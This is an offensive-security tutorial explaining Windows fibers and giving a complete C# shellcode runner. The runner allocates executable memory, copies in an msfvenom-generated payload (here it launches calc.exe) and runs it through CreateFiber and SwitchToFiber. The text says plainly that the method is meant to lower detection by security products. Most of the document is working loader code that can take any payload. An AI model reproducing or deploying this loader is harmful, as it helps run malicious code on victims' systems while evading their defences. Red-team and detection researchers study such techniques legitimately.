Shellcode Execution via Fibers

Multitasking

Older operating systems, such as Windows 95 and Mac OS 9 used cooperative multitasking. Applications needed to yield execution control before other applications could run. This meant a misbehaving application could cause the entire system to become unresponsive.

Newer operating systems replaced this with preemptive multitasking. With preemptive multitasking, the operating system scheduler controls CPU time allocated to an application.

Fibers & Threads

When an application runs, it is allocated a process in memory. This process can have multiple threads. Threads allow the application to execute multiple tasks concurrently. Threads are controlled by the operating system scheduler.

A fiber is essentially a lightweight thread, the main difference being it uses cooperative multitasking, rather than preemptive. A fiber will continue until it yields, as opposed to being controlled by the operating system scheduler. Fibers are invisible to the Kernel scheduler, since they are implemented in user mode in Kernel32.dll.

Executing shellcode in fibers as opposed to threads can assist in lowering our detection rates from security products.

To execute shellcode via fibers, the following steps need to be taken;

1. Allocate Executable Memory

As with a shellcode runner using threads, we first need to copy our code into an area of memory:

        // Allocate MEM_COMMIT | MEM_RESERVE (0x3000), PAGE_EXECUTE_READWRITE (0x40)
        IntPtr codeBuffer = Win32.VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x3000, 0x40);
        // Copy shellcode to our allocated memory
        Marshal.Copy(buf, 0, codeBuffer, buf.Length);

2. Convert Our Existing Thread to a Fiber

Fibers can only be created from other fibers, so our existing thread will need to be converted to a fiber:

        IntPtr currentFiber = Win32.ConvertThreadToFiber();

3. Create a New Fiber

The CreateFiber method signature is as follows. Setting dwStackSize to 0 means the default stack size will be used. lpParameter is used for passing a variable into the fiber, which isn’t needed so can also be set to 0.

LPVOID CreateFiber(
  [in]           SIZE_T                dwStackSize,
  [in]           LPFIBER_START_ROUTINE lpStartAddress,
  [in, optional] LPVOID                lpParameter
);

Calling CreateFiber:

        IntPtr newFiber = Win32.CreateFiber(0, codeBuffer, 0);

4. Execute the New Fiber

A fiber, unlike a thread does not start execution until it’s manually selected using the SwitchToFiber function. The fiber will continue running until it exits, or until it calls SwitchToFiber to run a new fiber.

        Win32.SwitchToFiber(newFiber);

Code Listing

using System;
using System.Runtime.InteropServices;

public class FiberExecute
{
    static void Main(string[] args)
    {
        // msfvenom -p windows/x64/exec CMD=calc.exe -b "x00" -f csharp
        byte[] buf = new byte[319] {
0x48,0x31,0xc9,0x48,0x81,0xe9,0xdd,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,
0xff,0xff,0x48,0xbb,0x6c,0xd6,0xdc,0xe3,0x5b,0x82,0xfe,0xb1,0x48,0x31,0x58,
0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x90,0x9e,0x5f,0x07,0xab,0x6a,
0x3e,0xb1,0x6c,0xd6,0x9d,0xb2,0x1a,0xd2,0xac,0xe0,0x3a,0x9e,0xed,0x31,0x3e,
0xca,0x75,0xe3,0x0c,0x9e,0x57,0xb1,0x43,0xca,0x75,0xe3,0x4c,0x9e,0x57,0x91,
0x0b,0xca,0xf1,0x06,0x26,0x9c,0x91,0xd2,0x92,0xca,0xcf,0x71,0xc0,0xea,0xbd,
0x9f,0x59,0xae,0xde,0xf0,0xad,0x1f,0xd1,0xa2,0x5a,0x43,0x1c,0x5c,0x3e,0x97,
0x8d,0xab,0xd0,0xd0,0xde,0x3a,0x2e,0xea,0x94,0xe2,0x8b,0x09,0x7e,0x39,0x6c,
0xd6,0xdc,0xab,0xde,0x42,0x8a,0xd6,0x24,0xd7,0x0c,0xb3,0xd0,0xca,0xe6,0xf5,
0xe7,0x96,0xfc,0xaa,0x5a,0x52,0x1d,0xe7,0x24,0x29,0x15,0xa2,0xd0,0xb6,0x76,
0xf9,0x6d,0x00,0x91,0xd2,0x92,0xca,0xcf,0x71,0xc0,0x97,0x1d,0x2a,0x56,0xc3,
0xff,0x70,0x54,0x36,0xa9,0x12,0x17,0x81,0xb2,0x95,0x64,0x93,0xe5,0x32,0x2e,
0x5a,0xa6,0xf5,0xe7,0x96,0xf8,0xaa,0x5a,0x52,0x98,0xf0,0xe7,0xda,0x94,0xa7,
0xd0,0xc2,0xe2,0xf8,0x6d,0x06,0x9d,0x68,0x5f,0x0a,0xb6,0xb0,0xbc,0x97,0x84,
0xa2,0x03,0xdc,0xa7,0xeb,0x2d,0x8e,0x9d,0xba,0x1a,0xd8,0xb6,0x32,0x80,0xf6,
0x9d,0xb1,0xa4,0x62,0xa6,0xf0,0x35,0x8c,0x94,0x68,0x49,0x6b,0xa9,0x4e,0x93,
0x29,0x81,0xab,0xe1,0x83,0xfe,0xb1,0x6c,0xd6,0xdc,0xe3,0x5b,0xca,0x73,0x3c,
0x6d,0xd7,0xdc,0xe3,0x1a,0x38,0xcf,0x3a,0x03,0x51,0x23,0x36,0xe0,0x72,0x4b,
0x13,0x3a,0x97,0x66,0x45,0xce,0x3f,0x63,0x4e,0xb9,0x9e,0x5f,0x27,0x73,0xbe,
0xf8,0xcd,0x66,0x56,0x27,0x03,0x2e,0x87,0x45,0xf6,0x7f,0xa4,0xb3,0x89,0x5b,
0xdb,0xbf,0x38,0xb6,0x29,0x09,0x80,0x3a,0xee,0x9d,0x9f,0x09,0xae,0xb9,0xe3,
0x5b,0x82,0xfe,0xb1 };


        // Allocate MEM_COMMIT | MEM_RESERVE (0x3000), PAGE_EXECUTE_READWRITE (0x40)
        IntPtr codeBuffer = Win32.VirtualAlloc(IntPtr.Zero, (UInt32)buf.Length, 0x3000, 0x40);
        // Copy shellcode to our allocated memory
        Marshal.Copy(buf, 0, codeBuffer, buf.Length);

        //Convert existing thread to a Fiber. This is required since only a fiber can create new fibers
        IntPtr currentFiber = Win32.ConvertThreadToFiber();

        //Create a new fiber using our Shellcode buffer address
        IntPtr newFiber = Win32.CreateFiber(0, codeBuffer, 0);

        // Schedule the new fiber for execution
        Win32.SwitchToFiber(newFiber);

    }
}

class Win32
{
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    [DllImport("kernel32.dll")]
    public static extern IntPtr ConvertThreadToFiber();
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateFiber(uint dwStackSize, IntPtr lpStartAddress, uint lpParameter);
    [DllImport("kernel32.dll")]
    public extern static IntPtr SwitchToFiber(IntPtr fiberAddress);
}